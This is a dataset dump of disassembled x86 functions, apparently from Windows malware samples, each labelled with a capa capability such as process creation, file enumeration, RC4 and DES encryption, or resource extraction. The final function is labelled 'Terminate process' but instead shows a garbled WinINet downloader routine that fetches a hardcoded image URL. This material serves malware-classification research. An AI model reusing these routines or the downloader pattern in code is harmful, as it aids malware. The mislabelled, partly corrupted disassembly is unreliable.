joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43f8a0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
lea eax, [esp + 0x14]
push edi
push eax
mov dword [esp + 0x1c], 0x44
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [esp + 0x84]
xor edi, edi
cmp eax, edi
mov dword [esp + 0x54], edi
mov dword [esp + 0x58], edi
mov dword [esp + 0x44], 1
je case.0x43f8e1.2
mov ecx, dword [esp + 0x7c]
lea eax, [ecx - 1]
cmp eax, 5
ja case.0x43f8e1.2
jmp dword [eax*4 + 0x43f96c]
mov word [esp + 0x48], di
jmp 0x43f91a
mov word [esp + 0x48], 2
jmp 0x43f91a
mov word [esp + 0x48], 3
jmp 0x43f91a
mov word [esp + 0x48], 4
jmp 0x43f91a
mov word [esp + 0x48], 7
jmp 0x43f91a
mov word [esp + 0x48], 5
lea edx, [esp + 8]
mov ecx, dword [esp + 0x64]
lea eax, [esp + 0x18]
push edx
push eax
push edi
push edi
push edi
push 1
push edi
push edi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov esi, eax
cmp esi, edi
je 0x43f964
cmp dword [esp + 0x70], edi
je 0x43f950
mov edx, dword [esp + 8]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
mov ecx, dword [esp + 0xc]
push ecx
call edi
mov eax, esi
pop edi
pop esi
add esp, 0x54
ret
Function at 0x43ff10
Capabilities:
Delete directory

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
jne 0x43ff1d
xor eax, eax
pop esi
ret
push esi
call dword [0x470074]
add esp, 4
test eax, eax
jne 0x43ff2d
pop esi
ret
cmp eax, 1
jne 0x43ff3b
cmp byte [esi], 0x5c
jne 0x43ff3b
xor eax, eax
pop esi
ret
push esi
call fcn.0043fcc0
add esp, 4
test eax, eax
je 0x43ff4f
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
pop esi
ret

Function at 0x440e10
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
cmp edx, 1
jle 0x440e2e
push esi
lea ecx, [esp + 0x18]
dec edx
mov esi, dword [ecx]
add ecx, 0xc
xor eax, esi
dec edx
jne 0x440e23
pop esi
ret

Function at 0x440fd0
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x140
push ebx
mov ebx, dword [esp + 0x154]
push ebp
push esi
mov esi, dword [ebx]
push edi
mov edi, dword [esp + 0x154]
xor ebp, ebp
test edi, edi
je 0x441050
push edi
call dword [0x470074]
add esp, 4
test eax, eax
jbe 0x441050
test esi, esi
je 0x44100e
cmp esi, 0xffffffff
je 0x44100e
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebx], esi
je 0x441092
mov eax, dword [esp + 0x15c]
test eax, eax
je 0x44103c
mov ecx, dword [esp + 0x10]
and ecx, 0x10
cmp cl, 0x10
je 0x441050
jmp 0x44104b
mov edx, dword [esp + 0x158]
mov eax, dword [esp + 0x10]
test edx, eax
je 0x441050
mov ebp, 1
test esi, esi
je 0x441092
cmp esi, 0xffffffff
je 0x441092
test ebp, ebp
jne 0x4410c9
mov eax, dword [esp + 0x15c]
mov edi, dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
lea eax, [esp + 0x10]
push eax
push esi
je 0x44109f
call edi
test eax, eax
je 0x441092
mov ecx, dword [esp + 0x10]
and ecx, 0x10
cmp cl, 0x10
jne 0x4410c9
lea edx, [esp + 0x10]
push edx
push esi
call edi
test eax, eax
jne 0x44107a
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x140
ret
call edi
test eax, eax
je 0x441092
mov ebx, dword [esp + 0x158]
test dword [esp + 0x10], ebx
jne 0x4410c9
lea ecx, [esp + 0x10]
push ecx
push esi
call edi
test eax, eax
jne 0x4410ac
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x140
ret
lea edx, [esp + 0x3c]
push edx
call dword [0x470074]
inc eax
push eax
call fcn.0043eb50
mov edx, eax
lea edi, [esp + 0x44]
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x140
ret
Function at 0x441410
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
mov eax, dword [esp + 0x10]
push edi
push 0
push 0x20
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
xor eax, eax
cmp edi, 0xffffffff
je 0x4414a2
mov eax, dword [esp + 0x10]
push ebx
mov ebx, 1
push ebp
cmp eax, ebx
push esi
mov dword [esp + 0x10], ebx
jle 0x441494
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
lea esi, [esp + 0x2c]
mov eax, dword [esi]
lea edx, [esp + 0x14]
push 0
push edx
lea ecx, [eax + 8]
mov eax, dword [eax + 4]
push eax
push ecx
push edi
call ebp
test eax, eax
je 0x44148c
mov eax, dword [esp + 0x1c]
inc ebx
add esi, 0xc
cmp ebx, eax
jl 0x441455
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret
mov dword [esp + 0x10], 0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret

Function at 0x4414b0
Capabilities:
Set file attributes

Disassembly:
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 8]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
ret

Function at 0x441610
Capabilities:
Create directory

Disassembly:
sub esp, 0xc
mov ecx, dword [esp + 0x14]
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp + 8], eax
lea eax, [esp]
mov dword [esp], 0xc
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
add esp, 0xc
ret

Function at 0x441780
Capabilities:
Get file size
Read file on windows

Disassembly:
mov eax, dword [esp + 8]
push edi
push 0
push 0x20
push 3
push 0
push 3
push closesocket
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
xor eax, eax
cmp edi, 0xffffffff
je 0x4417e9
push ebx
lea ecx, [esp + 0x10]
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
lea edx, [ebx + 8]
push edx
call fcn.0043eb50
add esp, 4
mov esi, eax
lea eax, [esp + 0x14]
push 0
push eax
lea ecx, [esi + 8]
push ebx
push ecx
push edi
mov dword [esi], 1
mov dword [esi + 4], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
pop ebx
pop edi
ret

Function at 0x441a60
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push eax
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x441a76
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
ret
or eax, 0xffffffff
ret

Function at 0x441a80
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push esi
push eax
push 0x202
xor esi, esi
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x441ad1
mov ecx, dword [esp + 0x19c]
push ecx
call fcn.00441a60
add esp, 4
cmp eax, 0xffffffff
je 0x441acc
push eax
call sub.WS2_32.dll_inet_ntoa
mov esi, eax
push esi
call dword [0x470074]
push eax
push esi
call fcn.00444190
add esp, 0xc
mov esi, eax
call sub.WS2_32.dll_WSACleanup
mov eax, esi
pop esi
add esp, 0x190
ret
Function at 0x443520
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
mov ebp, edx
push esi
push edi
mov esi, ebp
xor edi, edi
and esi, 3
mov eax, ecx
jle 0x443541
mov dl, byte [eax]
inc eax
cmp dl, bl
je 0x44359b
inc edi
cmp edi, esi
jl 0x443535
mov edi, ebx
and edi, 0xff
mov esi, edi
shl esi, 8
or esi, edi
shl esi, 8
or esi, edi
shl esi, 8
or esi, edi
lea edi, [ecx + ebp]
cmp eax, edi
jae 0x4435d0
mov edx, dword [eax]
xor edx, esi
lea ebp, [edx - 0x1010101]
not edx
and ebp, edx
test ebp, 0x80808080
je 0x44358a
cmp byte [eax], bl
je 0x4435a5
cmp byte [eax + 1], bl
je 0x4435ae
cmp byte [eax + 2], bl
je 0x4435b8
cmp byte [eax + 3], bl
je 0x4435c4
add eax, 4
cmp eax, edi
jb 0x443561
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret 4
pop edi
sub eax, ecx
pop esi
pop ebp
dec eax
pop ebx
ret 4
pop edi
pop esi
pop ebp
sub eax, ecx
pop ebx
ret 4
pop edi
sub eax, ecx
pop esi
pop ebp
inc eax
pop ebx
ret 4
pop edi
sub eax, ecx
pop esi
pop ebp
add eax, 2
pop ebx
ret 4
pop edi
sub eax, ecx
pop esi
pop ebp
add eax, 3
pop ebx
ret 4
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret 4

Function at 0x443960
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 0x108
push ebx
push ebp
push esi
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [esp + 0x11c]
lea eax, [esp + 0x18]
mov ebx, edi
xor esi, esi
xor ecx, ecx
sub ebx, eax
mov eax, ecx
lea ebp, [esp + ecx + 0x18]
cdq
idiv dword [esp + 0x124]
mov eax, dword [esp + 0x120]
mov byte [ebx + ebp], cl
inc ecx
cmp ecx, 0x100
mov dl, byte [edx + eax]
mov byte [ebp], dl
jl 0x443992
lea ebp, [esp + 0x18]
mov eax, edi
sub ebp, edi
mov dword [esp + 0x10], 0x100
mov cl, byte [eax]
xor edx, edx
mov dl, byte [eax + ebp]
mov byte [esp + 0x14], cl
mov ebx, dword [esp + 0x14]
add esi, edx
and ebx, 0xff
add esi, ebx
and esi, 0x800000ff
jns 0x4439f2
dec esi
or esi, 0xffffff00
inc esi
mov dl, byte [esi + edi]
mov byte [eax], dl
mov byte [esi + edi], cl
mov ecx, dword [esp + 0x10]
inc eax
dec ecx
mov dword [esp + 0x10], ecx
jne 0x4439c9
xor al, al
mov byte [edi + 0x100], al
mov byte [edi + 0x101], al
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x108
ret
Function at 0x443aa0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push esi
push edi
mov edi, dword [esp + 0x14]
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
xor esi, esi
mov byte [esp + 0x18], cl
test edi, edi
mov byte [esp + 8], dl
jle 0x443b3c
mov edx, dword [esp + 0x10]
push ebx
push ebp
mov cl, byte [esp + 0x20]
mov bl, byte [esp + 0x10]
inc cl
mov byte [esp + 0x20], cl
mov ecx, dword [esp + 0x20]
and ecx, 0xff
lea edi, [ecx + eax]
mov cl, byte [ecx + eax]
add bl, cl
mov byte [esp + 0x10], bl
mov ebx, dword [esp + 0x10]
and ebx, 0xff
lea ebp, [ebx + eax]
mov bl, byte [ebx + eax]
mov byte [edi], bl
mov byte [ebp], cl
mov bl, byte [edi]
add bl, cl
and ebx, 0xff
mov cl, byte [ebx + eax]
mov bl, byte [esi + edx]
xor bl, cl
mov ecx, dword [esp + 0x1c]
mov byte [esi + edx], bl
inc esi
cmp esi, ecx
jl 0x443acb
mov dl, byte [esp + 0x20]
mov cl, byte [esp + 0x10]
pop ebp
pop ebx
pop edi
mov byte [eax + 0x100], dl
mov byte [eax + 0x101], cl
pop esi
pop ecx
ret
pop edi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop esi
pop ecx
ret

Function at 0x448e60
Capabilities:
Encrypt data using des

Disassembly:
sub esp, 0xf4
xor ecx, ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x104]
push edi
xor eax, eax
mov al, byte [ecx + str.80_]
mov edx, eax
and eax, 7
sar edx, 3
mov bl, byte [eax*2 + 0x470304]
mov dl, byte [edx + esi]
test bl, dl
setne al
mov byte [esp + ecx + 0x4c], al
inc ecx
cmp ecx, 0x38
jl 0x448e73
mov eax, 0x1e
xor edx, edx
mov dword [esp + 0x10], eax
cmp dword [esp + 0x10c], 1
je 0x448eb4
lea eax, [edx + edx]
lea edi, [esp + eax*4 + 0x88]
lea ebp, [esp + eax*4 + 0x84]
xor eax, eax
xor ecx, ecx
mov cl, byte [edx + 0x4703ac]
mov dword [edi], 0
mov dword [ebp], 0
mov esi, ecx
cmp ecx, 0x1c
jge 0x448ee6
mov bl, byte [esp + ecx + 0x4c]
jmp 0x448eea
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x1c
jl 0x448edb
mov eax, 0x1c
lea ecx, [esi + 0x1c]
cmp ecx, 0x38
jge 0x448f08
mov bl, byte [esp + ecx + 0x4c]
jmp 0x448f0c
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x38
jl 0x448efd
xor ecx, ecx
mov eax, 0x470314
xor ebx, ebx
mov bl, byte [ecx + 0x4703bc]
cmp byte [esp + ebx + 0x14], 0
je 0x448f37
mov esi, dword [eax]
mov ebx, dword [ebp]
or ebx, esi
mov dword [ebp], ebx
xor ebx, ebx
mov bl, byte [ecx + 0x4703d4]
cmp byte [esp + ebx + 0x14], 0
je 0x448f4e
mov esi, dword [eax]
mov ebx, dword [edi]
or ebx, esi
mov dword [edi], ebx
add eax, 4
inc ecx
cmp eax, str.80_
jl 0x448f1e
mov eax, dword [esp + 0x10]
inc edx
sub eax, 2
cmp eax, 0xfffffffe
mov dword [esp + 0x10], eax
jg 0x448ea7
lea edx, [esp + 0x84]
push edx
call fcn.00448f90
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf4
ret
Function at 0x45adf1
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, 0x462094
call fcn.0044fe20
sub esp, 0x18
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], esi
mov eax, dword [esi + 0x48]
mov edi, dword [esi + 0x44]
mov dword [ebp - 0x18], eax
call fcn.00460559
cmp dword [esi + 0x40], 0
mov ebx, dword [eax + 0xc]
je 0x45ae30
call fcn.00460559
mov ebx, dword [eax + 0xc]
push 5
push dword [esi + 0x40]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x45ae3e
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x45ae4c
or eax, 0xffffffff
jmp 0x45af34
mov ecx, esi
call fcn.0045ad67
mov dword [ebp - 0x14], eax
call fcn.0045bddb
xor edi, edi
cmp dword [ebp - 0x14], edi
mov dword [ebp - 0x20], edi
je 0x45ae83
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x45ae83
push edi
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x20], 1
push esi
mov dword [ebp - 4], edi
call fcn.0045bd8f
push dword [ebp - 0x14]
call fcn.0045b8c0
push ebx
push eax
push dword [ebp - 0x18]
mov ecx, esi
call fcn.0045aaff
cmp eax, edi
je 0x45aef6
test byte [esi + 0x24], 0x10
je 0x45aec4
push 4
mov ecx, esi
pop ebx
call fcn.0045b2c0
test ah, 1
je 0x45aebc
push 5
pop ebx
push ebx
mov ecx, esi
call fcn.0045d8e6
cmp dword [esi + 0x1c], edi
je 0x45aef6
push 0x97
push edi
push edi
push edi
push edi
push edi
mov ecx, esi
call fcn.0045b2f4
jmp 0x45aef6
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x20], edi
je 0x45af0a
push 1
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
cmp dword [ebp - 0x14], edi
je 0x45af23
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [esi + 0x1c]
jne 0x45af23
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x58]
mov ecx, esi
call fcn.0045ada1
mov eax, dword [esi + 0x2c]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x45d794
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x45d7d6
call fcn.00460559
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x45d7d6
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x45d7cd
xor eax, eax
jmp 0x45d7de
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0045d7e4
pop edi
pop esi
pop ebx
ret 4
Function at 0x460aef
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x460b1d
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x460b3b
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00460a55
jmp 0x460b3b
mov eax, dword [esi + 0x14]
test eax, eax
je 0x460b3b
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00460a55
test edi, edi
mov eax, edi
jne 0x460b25
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x401ff0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x408044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40803c]
sub esp, 4
test ebx, ebx
je 0x40203b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x402034
test esi, esi
je 0x402034
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402010
mov dword [esp], 0x408044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402220
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x402270
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402348
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x4022ae
cmp eax, 4
jne 0x4022d0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x4022be
cmp edx, 4
je 0x4022be
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402220

Function at 0x401219
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40301c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
push 0
push 0
push 0x403028
push 0x403024
push 0x403020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x403028]
push dword [0x403024]
push dword [0x403020]
mov dword [0x403014], esp
call fcn.0040129c
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret
Function at 0x422d10
Capabilities:
Get session user name

Disassembly:
push edi
push esi
sub esp, 8
mov eax, dword [0x464010]
xor eax, esp
mov dword [esp + 4], eax
cmp byte [0x4654d8], 0
je 0x422d38
mov ecx, dword [0x4654d4]
test ecx, ecx
jne 0x422d7b
jmp 0x422dc8
push str.secur32.dll
call fcn.0040f1e0
add esp, 4
mov esi, eax
push str.sspicli.dll
call fcn.0040f1e0
add esp, 4
test esi, esi
je 0x422d68
push str.GetUserNameExA
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
jmp 0x422d6a
xor ecx, ecx
mov dword [0x4654d4], ecx
mov byte [0x4654d8], 1
test ecx, ecx
je 0x422dc8
mov dword [esp], 0
mov edi, esp
push edi
push 0
push 8
call ecx
push 0
push 1
push dword [esp + 8]
call fcn.0040e430
add esp, 0xc
mov esi, eax
push edi
push eax
push 8
call dword [0x4654d4]
test al, al
je 0x422dbf
push 0x40
push esi
call fcn.00434e10
add esp, 8
test eax, eax
je 0x422e15
mov byte [eax], 0
jmp 0x422e15
push esi
call fcn.0040e4c0
add esp, 4
mov dword [esp], 0
mov edi, esp
push edi
push 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x422de3
mov eax, dword [esp]
jmp 0x422def
mov dword [esp], 0x100
mov eax, 0x100
push 0
push 1
push eax
call fcn.0040e430
add esp, 0xc
mov esi, eax
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
jne 0x422e15
push esi
call fcn.0040e4c0
add esp, 4
xor esi, esi
mov ecx, dword [esp + 4]
xor ecx, esp
call fcn.0043208f
mov eax, esi
add esp, 8
pop esi
pop edi
ret

Function at 0x422f90
Capabilities:
Get common file path

Disassembly:
push esi
cmp dword [0x4654f8], 0
jne 0x422ff0
push dword [0x4654fc]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, dword [0x4654fc]
jb 0x422ff0
mov esi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0
push 1
push eax
push 1
push 0x4654fc
push dword [0x4654f8]
call fcn.0040e4d0
add esp, 0x18
mov dword [0x4654f8], eax
push dword [0x4654fc]
push eax
call esi
cmp eax, dword [0x4654fc]
jae 0x422fc0
mov eax, dword [0x4654f8]
pop esi
ret
Function at 0x4327d8
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x432817
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x432817
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x432817
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x432817
cmp dword [ecx + 0x74], 0xe
jbe 0x432817
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x43b429
Capabilities:
Terminate process

Disassembly:
sub esp, 0x2c
mov eax, dword [str.kernel32.dll]
mov dword [esp + 0x1c], 0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, dword [str.InitOnceExecuteOnce]
sub esp, 4
mov dword [esp], eax
mov dword [esp + 4], edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [0x464834]
sub esp, 8
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], edx
lea edx, [esp + 0x1c]
mov dword [esp], edx
call eax
sub esp, 0x10
test eax, eax
je 0x43b489
add esp, 0x2c
ret
invalid
add al, 0x24
add byte [eax], al
Function at 0x43df90
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
test ebx, 0xffffffff
je 0x43dff6
sub ecx, edx
test edx, 3
je 0x43dfc7
movzx eax, byte [ecx + edx]
cmp al, byte [edx]
jne 0x43e000
test eax, eax
je 0x43dff6
inc edx
sub ebx, 1
jbe 0x43dff6
test dl, 3
jne 0x43dfb0
lea eax, [ecx + edx]
and eax, 0xfff
cmp eax, 0xffc
ja 0x43dfb0
mov eax, dword [ecx + edx]
cmp eax, dword [edx]
jne 0x43dfb0
sub ebx, 4
jbe 0x43dff6
lea esi, [eax - 0x1010101]
add edx, 4
not eax
and eax, esi
test eax, 0x80808080
je 0x43dfc7
xor eax, eax
pop esi
pop ebx
ret
dec eax
inc esi
add byte [ebx + 0x55], dl
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [0x464820]
and byte [eax + 0x46], cl
add byte [ecx + 0x6a], dl
add byte [ecx - 0xd7dbbc], cl
adc eax, sym.imp.KERNEL32.dll_GetProcessHeap
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x104
mov edi, eax
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor edx, edx
xor esi, esi
movzx ecx, word [edi + edx*2]
mov eax, edx
cmp ecx, 0x5c
cmovne eax, esi
mov esi, eax
test cx, cx
je 0x43e052
inc edx
jmp 0x43e03c
lea esi, [edi + esi*2]
mov edi, dword [0x464838]
cmp dword [edi], 0
je 0x43e0ae
movzx ebx, word [esi + 2]
xor eax, eax
mov ebp, ebx
test bx, bx
je 0x43e076
inc eax
cmp word [esi + eax*2 + 2], 0
jne 0x43e06d
cmp al, byte [edi]
je 0x43e083
cmp al, byte [edi + 1]
jne 0x43e21e
xor edx, edx
xor ecx, ecx
test bx, bx
je 0x43e0a0
mov eax, ebp
movzx eax, ax
lea ecx, [ecx + 1]
add edx, eax
movzx eax, word [esi + ecx*2 + 2]
test ax, ax
jne 0x43e08e
cmp edx, dword [edi + 4]
je 0x43e0ae
cmp edx, dword [edi + 8]
jne 0x43e21e
mov eax, dword [0x464820]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [str.WININET.DLL]
mov ebx, eax
push ecx
mov edi, ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [str.InternetOpenA]
mov esi, eax
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ecx
push esi
call ebp
mov dword [esp + 0x18], eax
mov ecx, dword [str.InternetOpenUrlA]
push ecx
push esi
call ebp
mov dword [esp + 0x1c], eax
mov eax, dword [str.InternetReadFile]
push eax
push esi
call ebp
push 0
push 0
push 0
mov dword [esp + 0x20], eax
mov eax, dword [str.NETDL1.0]
push 1
push eax
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x24], 0
call eax
test eax, eax
je 0x43e21e
mov ecx, dword [0x464804]
push 0
push ecx
mov ecx, dword [str.https:__inducks.org_fr_richard_img_gr1a.jpg]
push 0
push 0
push ecx
push eax
mov eax, dword [esp + 0x34]
and al, 0x34